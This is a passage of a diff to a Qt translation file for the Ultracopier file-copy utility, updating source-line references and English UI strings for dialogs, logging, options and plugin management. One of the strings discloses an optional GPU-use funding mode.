+ <location filename="../../../FacilityEngine.cpp" line="83"/>
+ <source>Completed in %1</source>
+ <translation type="unfinished"></translation>
+ </message>
</context>
<context>
<name>HelpDialog</name>
<message>
- <location filename="../../../HelpDialog.ui" line="20"/>
- <source>About ultracopier</source>
+ <location filename="../../../HelpDialog.cpp" line="37"/>
+ <source>About Ultracopier</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="70"/>
- <source>Based on Qt. It provide advanced copier with more advanced feature. It&apos;s under GPL3.
+ <location filename="../../../HelpDialog.ui" line="67"/>
+ <source>Based on Qt. Advanced utility to copy files under GPL3 license.
This version is compiled as version: %1.</source>
<extracomment>%1 will be replaced by a variable content (normal, debug, ...)</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="88"/>
+ <location filename="../../../HelpDialog.ui" line="85"/>
<source>Platform: %1</source>
<extracomment>%1 will be replaced by the platform (windows, mac, linux, ...)</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="149"/>
+ <location filename="../../../HelpDialog.ui" line="121"/>
<source>About Qt</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="169"/>
+ <location filename="../../../HelpDialog.ui" line="141"/>
<source>Do a crash</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="176"/>
+ <location filename="../../../HelpDialog.ui" line="148"/>
<source>Save bug report</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="183"/>
+ <location filename="../../../HelpDialog.ui" line="155"/>
<source>Close</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="74"/>
+ <location filename="../../../HelpDialog.cpp" line="35"/>
+ <source>About Supercopier</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="80"/>
<source>For http://portableapps.com/</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="76"/>
+ <location filename="../../../HelpDialog.cpp" line="83"/>
+ <source>Portable and all in one version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="85"/>
<source>Portable version</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="79"/>
+ <location filename="../../../HelpDialog.cpp" line="90"/>
+ <source>All in one version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="92"/>
<source>Normal version</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="85"/>
+ <location filename="../../../HelpDialog.cpp" line="110"/>
+ <location filename="../../../HelpDialog.cpp" line="112"/>
+ <location filename="../../../HelpDialog.cpp" line="123"/>
<source>http://ultracopier.first-world.info/</source>
- <extracomment>This site need be the official site of ultracopier, into the right languages, english if not exists</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="78"/>
+ <location filename="../../../HelpDialog.cpp" line="120"/>
+ <source>http://ultracopier.first-world.info/shop.html</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="125"/>
+ <source>http://ultracopier.first-world.info/download.html</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.ui" line="75"/>
<source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;For more information see the website &lt;a href=&quot;%1&quot;&gt;&lt;span style=&quot; text-decoration: underline; color:#0057ae;&quot;&gt;%1&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
<extracomment>%1 will be remplaced by the website into the corresponding languages</extracomment>
<translation type="unfinished"></translation>
@@ -480,12 +569,12 @@ This version is compiled as version: %1.</source>
<context>
<name>LocalListener</name>
<message>
- <location filename="../../../LocalListener.cpp" line="128"/>
+ <location filename="../../../LocalListener.cpp" line="146"/>
<source>Warning</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../LocalListener.cpp" line="128"/>
+ <location filename="../../../LocalListener.cpp" line="146"/>
<source>Timeout while recomposing data from connected clients</source>
<translation type="unfinished"></translation>
</message>
@@ -493,21 +582,74 @@ This version is compiled as version: %1.</source>
<context>
<name>LogThread</name>
<message>
- <location filename="../../../LogThread.cpp" line="65"/>
- <location filename="../../../LogThread.cpp" line="74"/>
- <location filename="../../../LogThread.cpp" line="84"/>
+ <location filename="../../../LogThread.cpp" line="106"/>
+ <location filename="../../../LogThread.cpp" line="115"/>
+ <location filename="../../../LogThread.cpp" line="125"/>
<source>Error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../LogThread.cpp" line="65"/>
+ <location filename="../../../LogThread.cpp" line="106"/>
<source>Log file already open, error: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../LogThread.cpp" line="74"/>
- <location filename="../../../LogThread.cpp" line="84"/>
- <source>Unable to open file to keep the log file, error: %1</source>
+ <location filename="../../../LogThread.cpp" line="115"/>
+ <location filename="../../../LogThread.cpp" line="125"/>
+ <source>Unable to open the log file, error: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>OSSpecific</name>
+ <message>
+ <location filename="../../../OSSpecific.ui" line="26"/>
+ <source>Warning</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.ui" line="58"/>
+ <source>Don&apos;t show again</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.ui" line="83"/>
+ <source>Ok</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="23"/>
+ <source>The replacement of default copy/move system is not supported by the file manager (Dolphin, Nautilus, ...).&lt;br /&gt;Ask the developer to support it.&lt;br /&gt;You need do the copy/move manually.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="25"/>
+ <source>Reboot the system if previously had similar software installed (like Teracopy, Supercopier or an earlier version of Ultracopier).</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="27"/>
+ <source>The replacement of default copy/move system is not supported and blocked by finder of Mac OS X.&lt;br /&gt;You need do the copy/move manually by right clicking on the system tray icon near the clock (not the dock icon).</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="29"/>
+ <source>The replacement of default copy/move system should be not supported by the file manager.&lt;br /&gt;Ask to the developer to support it.&lt;br /&gt;You need do the copy/move manually.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="32"/>
+ <source>Consider Supercopier as deprecated, prefer Ultracopier</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="35"/>
+ <source>This version use 100% of you graphic card/GPU (you computer can be noisy, or slow/buggy during the games) at exchange of free access to Ultimate version. If you don&apos;t wish it, download the normal version with a small advertisement (just a link on the main window) or buy the Ultimate version to fund the project.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="36"/>
+ <source>http://ultracopier.first-world.info/download.html</source>
<translation type="unfinished"></translation>
</message>
</context>
@@ -531,257 +673,318 @@ This version is compiled as version: %1.</source>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="66"/>
- <location filename="../../../OptionDialog.ui" line="275"/>
- <location filename="../../../OptionDialog.cpp" line="186"/>
+ <location filename="../../../OptionDialog.ui" line="322"/>
+ <location filename="../../../OptionDialog.cpp" line="354"/>
<source>Copy engine</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="95"/>
- <location filename="../../../OptionDialog.ui" line="303"/>
+ <location filename="../../../OptionDialog.ui" line="92"/>
+ <location filename="../../../OptionDialog.ui" line="350"/>
<source>Themes</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="100"/>
+ <location filename="../../../OptionDialog.ui" line="97"/>
<source>Log</source>
<translation type="unfinished"></translation>
</message>
<message>
+ <location filename="../../../OptionDialog.ui" line="222"/>
+ <source>Confirm to group the windows</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="245"/>
+ <source>Check for updates</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="312"/>
+ <source>Name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="317"/>
+ <source>Version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="327"/>
+ <source>Language</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="71"/>
+ <location filename="../../../OptionDialog.ui" line="335"/>
+ <location filename="../../../OptionDialog.cpp" line="355"/>
+ <source>Listener</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="76"/>
+ <location filename="../../../OptionDialog.ui" line="340"/>
+ <location filename="../../../OptionDialog.cpp" line="356"/>
+ <source>Plugin loader</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="84"/>
+ <location filename="../../../OptionDialog.ui" line="345"/>
+ <location filename="../../../OptionDialog.cpp" line="357"/>
+ <source>Session loader</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
<location filename="../../../OptionDialog.ui" line="117"/>
- <source>Language:</source>
+ <source>Force the language</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="127"/>
- <source>Autodetect the system language:</source>
+ <source>Replace the default copy and move system</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="141"/>
- <source>Catch the copy/move as default:</source>
+ <source>Load at the session loading</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="155"/>
- <source>Load at the session loading:</source>
+ <source>When manual open</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="265"/>
- <source>Name</source>
+ <location filename="../../../OptionDialog.ui" line="181"/>
+ <source>Group the windows when</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="270"/>
- <source>Version</source>
+ <location filename="../../../OptionDialog.ui" line="229"/>
+ <source>Display the OS warning</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="280"/>
- <source>Language</source>
+ <location filename="../../../OptionDialog.ui" line="255"/>
+ <source>Give GPU time to fund the development</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="71"/>
- <location filename="../../../OptionDialog.ui" line="288"/>
- <location filename="../../../OptionDialog.cpp" line="187"/>
- <source>Listener</source>
+ <location filename="../../../OptionDialog.ui" line="262"/>
+ <source>Remaining time algorithm</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="79"/>
- <location filename="../../../OptionDialog.ui" line="293"/>
- <location filename="../../../OptionDialog.cpp" line="188"/>
- <source>Plugin loader</source>
+ <location filename="../../../OptionDialog.ui" line="270"/>
+ <source>Traditional</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="87"/>
- <location filename="../../../OptionDialog.ui" line="298"/>
- <location filename="../../../OptionDialog.cpp" line="189"/>
- <source>Session loader</source>
+ <location filename="../../../OptionDialog.ui" line="275"/>
+ <source>Logarithmic</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="311"/>
+ <location filename="../../../OptionDialog.ui" line="358"/>
<source>Plugin</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="330"/>
+ <location filename="../../../OptionDialog.ui" line="377"/>
<source>Add</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="343"/>
+ <location filename="../../../OptionDialog.ui" line="390"/>
<source>Remove</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="353"/>
+ <location filename="../../../OptionDialog.ui" line="400"/>
<source>Information</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="380"/>
+ <location filename="../../../OptionDialog.ui" line="427"/>
<source>Copy engine by order of preference:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="493"/>
+ <location filename="../../../OptionDialog.ui" line="498"/>
+ <source>Client connected</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="554"/>
<source>Themes:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="555"/>
+ <location filename="../../../OptionDialog.ui" line="616"/>
<source>Unable to load the themes plugin</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="655"/>
+ <location filename="../../../OptionDialog.ui" line="716"/>
<source>Browse</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="687"/>
- <location filename="../../../OptionDialog.ui" line="700"/>
+ <location filename="../../../OptionDialog.ui" line="741"/>
+ <source>Write the transfers</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="748"/>
<source>The variables are %time%, %source%, %size%, %destination%</source>
- <extracomment>%time%, %source%, %size%, %destination% should not be translated
-----------
-%time%, %source%, %size%, %destination% should not be translated</extracomment>
+ <extracomment>%time%, %source%, %size%, %destination% should not be translated</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="717"/>
- <location filename="../../../OptionDialog.ui" line="730"/>
+ <location filename="../../../OptionDialog.ui" line="771"/>
+ <source>Write the errors</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="778"/>
<source>The variables are %time%, %path%, %size%, %mtime%, %error%</source>
- <extracomment>%time%, %path%, %size%, %mtime%, %error% should not be translated
-----------
-%time%, %path%, %size%, %mtime%, %error% should not be translated</extracomment>
+ <extracomment>%time%, %path%, %size%, %mtime%, %error% should not be translated</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="636"/>
+ <location filename="../../../OptionDialog.ui" line="697"/>
<source>Write the log file into:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="680"/>
- <source>Write the transfers:</source>
+ <location filename="../../../OptionDialog.ui" line="728"/>
+ <source>Write directly to the file when it receive a new entry (can produce 50% of lost of performance)</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="710"/>
- <source>Write the errors:</source>
+ <location filename="../../../OptionDialog.cpp" line="260"/>
+ <location filename="../../../OptionDialog.cpp" line="274"/>
+ <source>Load</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="740"/>
- <source>Write the folder operations:</source>
+ <location filename="../../../OptionDialog.cpp" line="260"/>
+ <source>Load the theme?</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="190"/>
- <location filename="../../../OptionDialog.cpp" line="191"/>
- <location filename="../../../OptionDialog.cpp" line="321"/>
- <location filename="../../../OptionDialog.cpp" line="322"/>
- <source>Disabled because you have any SessionLoader plugin</source>
+ <location filename="../../../OptionDialog.cpp" line="274"/>
+ <source>Load the language?</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="192"/>
+ <location filename="../../../OptionDialog.cpp" line="362"/>
<source>Do nothing</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="193"/>
+ <location filename="../../../OptionDialog.cpp" line="363"/>
<source>Ask source as folder</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="194"/>
+ <location filename="../../../OptionDialog.cpp" line="364"/>
<source>Ask sources as files</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="195"/>
+ <location filename="../../../OptionDialog.cpp" line="365"/>
<source>Never</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="196"/>
+ <location filename="../../../OptionDialog.cpp" line="366"/>
<source>When source is same</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="197"/>
+ <location filename="../../../OptionDialog.cpp" line="367"/>
<source>When destination is same</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="198"/>
+ <location filename="../../../OptionDialog.cpp" line="368"/>
<source>When source and destination are same</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="199"/>
+ <location filename="../../../OptionDialog.cpp" line="369"/>
<source>When source or destination are same</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="200"/>
+ <location filename="../../../OptionDialog.cpp" line="370"/>
<source>Always</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="792"/>
- <source>Save logs as: </source>
+ <location filename="../../../OptionDialog.cpp" line="384"/>
+ <location filename="../../../OptionDialog.cpp" line="385"/>
+ <location filename="../../../OptionDialog.cpp" line="386"/>
+ <source>The variables are %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="667"/>
- <source>This write directly the file when it receive the new entry, but it can produce 50% of lost of performance</source>
+ <location filename="../../../OptionDialog.cpp" line="478"/>
+ <source>Allow the application</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="670"/>
- <source>Synchronized log</source>
+ <location filename="../../../OptionDialog.cpp" line="478"/>
+ <source>This Ultimate free version is only if %1 is allowed by your antivirus. Else you can get the normal free version</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="169"/>
- <source>When manual open:</source>
+ <location filename="../../../OptionDialog.cpp" line="483"/>
+ <source>Enable the OpenCL</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="229"/>
- <source>Group the windows when:</source>
+ <location filename="../../../OptionDialog.cpp" line="483"/>
+ <source>This Ultimate version is only if the OpenCL is installed with your graphic card drivers. Else you can get the normal free version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="1591"/>
+ <source>Save logs as: </source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="731"/>
+ <source>Synchronized log</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="605"/>
+ <location filename="../../../OptionDialog.ui" line="666"/>
<source>No option for this plugin</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="750"/>
- <location filename="../../../OptionDialog.ui" line="763"/>
+ <location filename="../../../OptionDialog.ui" line="801"/>
+ <source>Write the folder operations</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="811"/>
<source>The variables are %path%, %operation%</source>
- <extracomment>%path%, %operation% should not be translated
-----------
-%path%, %operation% should not be translated</extracomment>
+ <extracomment>%path%, %operation% should not be translated</extracomment>
<translation type="unfinished"></translation>
</message>
</context>
<context>
<name>OptionEngine</name>
<message>
- <location filename="../../../OptionEngine.cpp" line="154"/>
- <location filename="../../../OptionEngine.cpp" line="158"/>
- <location filename="../../../OptionEngine.cpp" line="195"/>
- <location filename="../../../OptionEngine.cpp" line="199"/>
- <source>Try get variable, but the variable is not found: %1 %2</source>
+ <location filename="../../../OptionEngine.cpp" line="161"/>
+ <location filename="../../../OptionEngine.cpp" line="165"/>
+ <location filename="../../../OptionEngine.cpp" line="202"/>
+ <location filename="../../../OptionEngine.cpp" line="206"/>
+ <source>The variable was not found: %1 %2</source>
<translation type="unfinished"></translation>
</message>
</context>
@@ -823,37 +1026,42 @@ This version is compiled as version: %1.</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="40"/>
- <source>CopyEngine</source>
+ <location filename="../../../PluginInformation.cpp" line="38"/>
+ <source>Copy engine</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="43"/>
+ <location filename="../../../PluginInformation.cpp" line="41"/>
<source>Languages</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="46"/>
+ <location filename="../../../PluginInformation.cpp" line="44"/>
<source>Listener</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="49"/>
- <source>PluginLoader</source>
+ <location filename="../../../PluginInformation.cpp" line="47"/>
+ <source>Plugin loader</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="52"/>
- <source>SessionLoader</source>
+ <location filename="../../../PluginInformation.cpp" line="50"/>
+ <source>Session loader</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="55"/>
+ <location filename="../../../PluginInformation.cpp" line="53"/>
<source>Themes</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="69"/>
+ <location filename="../../../PluginInformation.cpp" line="57"/>
+ <source>Unknown</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginInformation.cpp" line="67"/>
<source>Information about %1</source>
<translation type="unfinished"></translation>
</message>
@@ -871,140 +1079,140 @@ This version is compiled as version: %1.</source>
<context>
<name>PluginsManager</name>
<message>
- <location filename="../../../PluginsManager.cpp" line="208"/>
+ <location filename="../../../PluginsManager.cpp" line="221"/>
<source>informations.xml is not accessible</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="214"/>
- <source>informations.xml not found into the plugin</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../../PluginsManager.cpp" line="474"/>
+ <location filename="../../../PluginsManager.cpp" line="487"/>
<source>Dependencies part is wrong</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="493"/>
+ <location filename="../../../PluginsManager.cpp" line="508"/>
<source>Dependencies %1 are not satisfied, for plugin: %2</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="634"/>
+ <location filename="../../../PluginsManager.cpp" line="665"/>
<source>Remove %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="645"/>
+ <location filename="../../../PluginsManager.cpp" line="676"/>
<source>Error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="669"/>
+ <location filename="../../../PluginsManager.cpp" line="700"/>
<source>Information</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="242"/>
+ <location filename="../../../PluginsManager.cpp" line="253"/>
<source>%1, parse error at line %2, column %3: %4</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="250"/>
+ <location filename="../../../PluginsManager.cpp" line="227"/>
+ <source>informations.xml not found for the plugin</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="261"/>
<source>&quot;package&quot; root tag not found for the xml file</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="326"/>
+ <location filename="../../../PluginsManager.cpp" line="337"/>
<source>Duplicated plugin found, already loaded!</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="384"/>
- <source>English text missing into the informations.xml for the tag: %1</source>
+ <location filename="../../../PluginsManager.cpp" line="395"/>
+ <source>English text missing in the informations.xml for the tag: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="392"/>
+ <location filename="../../../PluginsManager.cpp" line="403"/>
<source>Tag not found: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="634"/>
+ <location filename="../../../PluginsManager.cpp" line="665"/>
<source>Are you sure about removing &quot;%1&quot; in version %2?</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="645"/>
+ <location filename="../../../PluginsManager.cpp" line="676"/>
<source>Error while the removing plugin, please check the rights on the folder:
%1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="669"/>
+ <location filename="../../../PluginsManager.cpp" line="700"/>
<source>Previous import is in progress...</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="672"/>
+ <location filename="../../../PluginsManager.cpp" line="703"/>
<source>Open Ultracopier plugin</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="672"/>
+ <location filename="../../../PluginsManager.cpp" line="703"/>
<source>Ultracopier plugin (*.urc)</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="685"/>
- <location filename="../../../PluginsManager.cpp" line="708"/>
- <location filename="../../../PluginsManager.cpp" line="775"/>
- <location filename="../../../PluginsManager.cpp" line="788"/>
- <location filename="../../../PluginsManager.cpp" line="806"/>
- <location filename="../../../PluginsManager.cpp" line="812"/>
- <location filename="../../../PluginsManager.cpp" line="818"/>
- <location filename="../../../PluginsManager.cpp" line="824"/>
- <location filename="../../../PluginsManager.cpp" line="830"/>
- <location filename="../../../PluginsManager.cpp" line="837"/>
+ <location filename="../../../PluginsManager.cpp" line="720"/>
+ <location filename="../../../PluginsManager.cpp" line="745"/>
+ <location filename="../../../PluginsManager.cpp" line="813"/>
+ <location filename="../../../PluginsManager.cpp" line="826"/>
+ <location filename="../../../PluginsManager.cpp" line="845"/>
+ <location filename="../../../PluginsManager.cpp" line="851"/>
+ <location filename="../../../PluginsManager.cpp" line="857"/>
+ <location filename="../../../PluginsManager.cpp" line="863"/>
+ <location filename="../../../PluginsManager.cpp" line="869"/>
+ <location filename="../../../PluginsManager.cpp" line="876"/>
<source>Plugin loader</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="685"/>
+ <location filename="../../../PluginsManager.cpp" line="720"/>
<source>Unable to open the plugin: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="708"/>
- <location filename="../../../PluginsManager.cpp" line="824"/>
- <location filename="../../../PluginsManager.cpp" line="837"/>
+ <location filename="../../../PluginsManager.cpp" line="745"/>
+ <location filename="../../../PluginsManager.cpp" line="863"/>
+ <location filename="../../../PluginsManager.cpp" line="876"/>
<source>Unable to load the plugin content, please check it: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="775"/>
+ <location filename="../../../PluginsManager.cpp" line="813"/>
<source>Unable to create a folder to install the plugin:
%1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="788"/>
+ <location filename="../../../PluginsManager.cpp" line="826"/>
<source>Unable to create a file to install the plugin:
%1
since:%2</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="806"/>
+ <location filename="../../../PluginsManager.cpp" line="845"/>
<source>Folder with same name is present, skip the plugin installation:
%1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="812"/>
- <location filename="../../../PluginsManager.cpp" line="818"/>
- <location filename="../../../PluginsManager.cpp" line="830"/>
+ <location filename="../../../PluginsManager.cpp" line="851"/>
+ <location filename="../../../PluginsManager.cpp" line="857"/>
+ <location filename="../../../PluginsManager.cpp" line="869"/>
<source>Unable to load the plugin content, please check it</source>
<translation type="unfinished"></translation>
</message>
@@ -1012,44 +1220,44 @@ since:%2</source>
<context>
<name>QXzDecode</name>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="40"/>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="95"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="38"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="93"/>
<source>Memory allocation failed</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="66"/>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="84"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="64"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="82"/>
<source>Write error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="99"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="97"/>
<source>Memory usage limit reached</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="103"/>
